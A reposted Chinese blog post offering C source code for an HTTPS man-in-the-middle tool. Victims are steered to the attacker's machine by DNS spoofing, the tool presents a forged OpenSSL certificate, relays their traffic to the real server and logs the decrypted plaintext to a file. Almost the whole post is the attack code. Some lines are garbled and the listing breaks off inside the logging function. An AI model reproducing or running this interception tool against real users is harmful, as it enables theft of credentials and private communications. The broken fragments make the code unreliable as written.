[OpenSSL示例]HTTPS中间人攻击


[OpenSSL示例]HTTPS中间人攻击
2011年12月23日
  HTTPS中间人攻击
  一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。
  代码:
  #include 
  #include 
  #include 
  #include 
  #pragma comment ( lib, "libeay32.lib" )
  #pragma comment ( lib, "ssleay32.lib" )
  #pragma comment ( lib, "ws2_32.lib" )
  #define    PRIVATE_KEY_PWD        "1234"
  #define    CERT_FILE            "yunshu.crt"
  #define    KEY_FILE            "yunshu.key"
  #define    MAX_USER            10
  #define    LISTEN_PORT            443
  #define    TIME_OUT            1000000    // 1秒
  #define    DEBUG
  #ifdef DEBUG
  #define    LOG_FILE            "c:\https.txt"
  // 记录数据到文件
  void    Log_File( char *str );
  #endif
  // 目的主机
  char            target_host[20] = { 0 };
  unsigned int    target_port = 0;
  // 输出SSL错误函数
  void    SSL_Error( char *custom_string );
  // 初始化SSL库作为服务端
  SSL        *Server_SSL_Init( );
  // 初始化SSL库作为客户端
  SSL        *Client_SSL_Init( );
  // 初始化Socket作为服务端
  SOCKET    Server_Socket_Init( );
  // 初始化Socket作为客户端
  SOCKET    Client_Socket_Init( );
  // 处理客户端函数
  void    WINAPI    FowardPacket( LPVOID argument );
  // 程序入口,主函数
  int main( int argc, char *argv[] )
  {
  if( argc != 3 )
  {
  printf( "Usage: %s      \n", argv[0] );
  printf( "Code by 云舒,just for test!\n" );
  return -1;
  }
  SOCKET    server_sock = Server_Socket_Init( );
  if( INVALID_SOCKET == server_sock )
  {
  return -1;
  }
  // 加载加密算法库
  SSL_library_init( );
  // 加载错误信息库
  SSL_load_error_strings( );
  // 开始接受连接
  SOCKET            client_sock;        // 来自被攻击者的socket
  SOCKADDR_IN        client_sin;
  int                sin_len = sizeof(SOCKADDR_IN);
  target_port = atoi( argv[2] );
  struct hostent *phost = gethostbyname( argv[1] );
  if( phost == NULL )
  {
  printf( "Resolve %s error!\n" , argv[1] );
  return -1;
  }
  memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
  memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
  strcpy( target_host, inet_ntoa( client_sin.sin_addr ) );
  printf( "Target host is %s(%s), port is %d\n", target_host, argv[1], target_port );
  memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
  while( TRUE )
  {
  client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );
  printf( "connect from %s\n", inet_ntoa( client_sin.sin_addr ) );
  if( SOCKET_ERROR == client_sock )
  {
  printf( "accept error.\n" );
  continue;
  }
  HANDLE    h_thread;
  DWORD    thread_id = 0;
  h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id );
  if( NULL == h_thread )
  {
  printf( "create thread error.\n" );
  }
  CloseHandle( h_thread );
  }
  closesocket( server_sock );    
  WSACleanup( );
  return 0;
  }
  void WINAPI FowardPacket( LPVOID argument )
  {
  char    buffer[2048] = { 0 };
  // 生成SSL,作为服务端,响应被攻击者的请求
  SSL    *server_ssl = Server_SSL_Init( );
  if( NULL == server_ssl )
  {
  return;
  }
  printf( "Init ssl as server success!\n" );
  // 生成SSL,作为客户端,向真实主机发起请求
  SSL    *client_ssl = Client_SSL_Init( );
  if( NULL == client_ssl )
  {
  return;
  }
  printf( "Init ssl as client success!\n" );
  // 作为服务端端的socket,响应被攻击者的请求
  SOCKET    server_sock = (SOCKET)(*(SOCKET *)argument);
  // 绑定ssl和socket,此处作为被攻击者的服务器
  SSL_set_fd( server_ssl, server_sock );
  int ret = SSL_accept( server_ssl );
  if( -1 == ret )
  {
  SSL_Error( "SSL_accept error" );
  return;
  }
  // 作为客户端的socket,向真实主机发起请求
  SOCKET    client_sock = Client_Socket_Init( );
  if( INVALID_SOCKET == client_sock )
  {
  return;
  }
  SSL_set_fd( client_ssl, client_sock );
  ret = SSL_connect( client_ssl );
  if( -1 == ret )
  {
  SSL_Error( "SSL_connect error" );
  return;
  }
  fd_set    fd_read;
  timeval    time_out;
  while( TRUE )
  {
  time_out.tv_sec = 0;
  time_out.tv_usec = TIME_OUT;
  FD_ZERO( &fd_read );
  FD_SET( server_sock, &fd_read );
  FD_SET( client_sock, &fd_read );
  ret = select( 0, &fd_read, NULL, NULL, &time_out );
  if( SOCKET_ERROR == ret )
  {
  printf( "socket error: %d\n", GetLastError() );
  break;
  }
  else if( 0 == ret )
  {
  continue;
  }
  else
  {
  if( FD_ISSET( server_sock, &fd_read ) )
  {
  memset( (void *)buffer, 0, sizeof(buffer) );
  ret = SSL_read( server_ssl, buffer, sizeof(buffer) );
  if( ret > 0 )
  {
  ret = SSL_write( client_ssl, buffer, strlen(buffer) );
  if( strlen(buffer) != ret )
  {
  SSL_Error( "Send data to real server error" );
  }
  else
  {
  printf( "send %d bytes to real server\n", ret );
  #ifdef DEBUG
  Log_File( buffer );
  #endif
  }
  }
  }
  else if( FD_ISSET( client_sock, &fd_read ) )
  {
  memset( (void *)buffer, 0, sizeof(buffer) );
  ret = SSL_read( client_ssl, buffer, sizeof(buffer) );
  if( ret > 0 )
  {
  //printf( "RESPONSE:\n\t%s\n", buffer );
  ret = SSL_write( server_ssl, buffer, strlen(buffer) );
  if( strlen(buffer) != ret )
  {
  SSL_Error( "Send data to customer error" );
  }
  else
  {
  printf( "send %d bytes to customer's host\n", ret );
  #ifdef DEBUG
  Log_File( buffer );
  #endif
  }
  }
  }
  }
  }
  SSL_shutdown( server_ssl );
  SSL_shutdown( client_ssl );
  SSL_free( server_ssl );
  SSL_free( client_ssl );
  closesocket( server_sock );
  closesocket( client_sock );
  return;
  }
  void SSL_Error( char *custom_string )
  {
  char    error_buffer[256] = { 0 };
  printf( "%s, ", custom_string );
  ERR_error_string( ERR_get_error(), error_buffer );
  printf( "%s\n", error_buffer );
  }
  SSL    *Server_SSL_Init( )
  {
  // 加载SSL环境
  SSL_CTX    *server_ctx = SSL_CTX_new( SSLv23_server_method() );
  if( NULL == server_ctx )
  {
  SSL_Error( "Init ssl ctx error" );
  return NULL;
  }
  // 设置证书文件的口令
  SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );
  // 加载证书
  if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) error" );
  return NULL;
  }
  // 加载私钥
  if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) error" );
  return NULL;
  }
  // 检查私钥和证书是否匹配
  if( !SSL_CTX_check_private_key( server_ctx ) )
  {
  printf( "Private key does not match the certificate public key\n" );
  return NULL;
  }
  SSL    *ssl = SSL_new (server_ctx);
  if( NULL == ssl )
  {
  SSL_Error( "Create ssl error" );
  return NULL;
  }
  return ssl;
  }
  SSL    *Client_SSL_Init( )
  {
  SSL_CTX    *client_ctx;
  client_ctx = SSL_CTX_new( SSLv23_client_method() );
  if( NULL == client_ctx )
  {
  SSL_Error( "Init ssl ctx error" );
  return NULL;
  }
  SSL    *ssl = SSL_new (client_ctx);
  if( NULL == ssl )
  {
  SSL_Error( "Create ssl error" );
  return NULL;
  }
  return ssl;
  }
  SOCKET    Server_Socket_Init( )
  {
  WSADATA        wsa;
  WSAStartup( 0x0202, &wsa );
  SOCKET    sock = socket( AF_INET, SOCK_STREAM, 0 );
  if( INVALID_SOCKET == sock )
  {
  printf( "Create socket as a server error" );
  return INVALID_SOCKET;
  }
  SOCKADDR_IN    server_sin;
  memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );
  server_sin.sin_family = AF_INET;
  server_sin.sin_addr.S_un.S_addr = INADDR_ANY;
  server_sin.sin_port = htons( 443 );
  int    ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) );
  if( SOCKET_ERROR == ret )
  {
  printf( "bind error: %d\n", GetLastError() );
  return INVALID_SOCKET;
  }
  ret = listen( sock, MAX_USER );
  if( SOCKET_ERROR == ret )
  {
  printf( "listen error.\n" );
  return INVALID_SOCKET;
  }
  printf( "Listening on all local ip address, waiting for connect...\n" );
  return sock;
  }
  SOCKET    Client_Socket_Init( )
  {
  SOCKET    client_sock = socket( AF_INET, SOCK_STREAM, 0 );
  if( INVALID_SOCKET == client_sock )
  {
  printf( "create socket as a client error.\n" );
  return -1;
  }
  SOCKADDR_IN        client_sin;
  memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );
  client_sin.sin_family = AF_INET;
  client_sin.sin_addr.S_un.S_addr = inet_addr( target_host );
  client_sin.sin_port = htons( target_port );
  int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) );
  if( SOCKET_ERROR == ret )
  {
  printf( "connect to real server %s error", target_host );
  return INVALID_SOCKET;
  }
  printf( "connect to real server success!\n" );
  return client_sock;
  }
  #ifdef    DEBUG
  void    Log_File( char * str )
  {
  FILE    *fp = fopen( LOG_FILE, "w+" );
  if( NULL == fp )
  {
  转载自: http://blog.chinaunix.net/space.php?uid=11669504&d o=blog&id=2856741

猜你喜欢

转载自ntk006vz.iteye.com/blog/1359456
今日推荐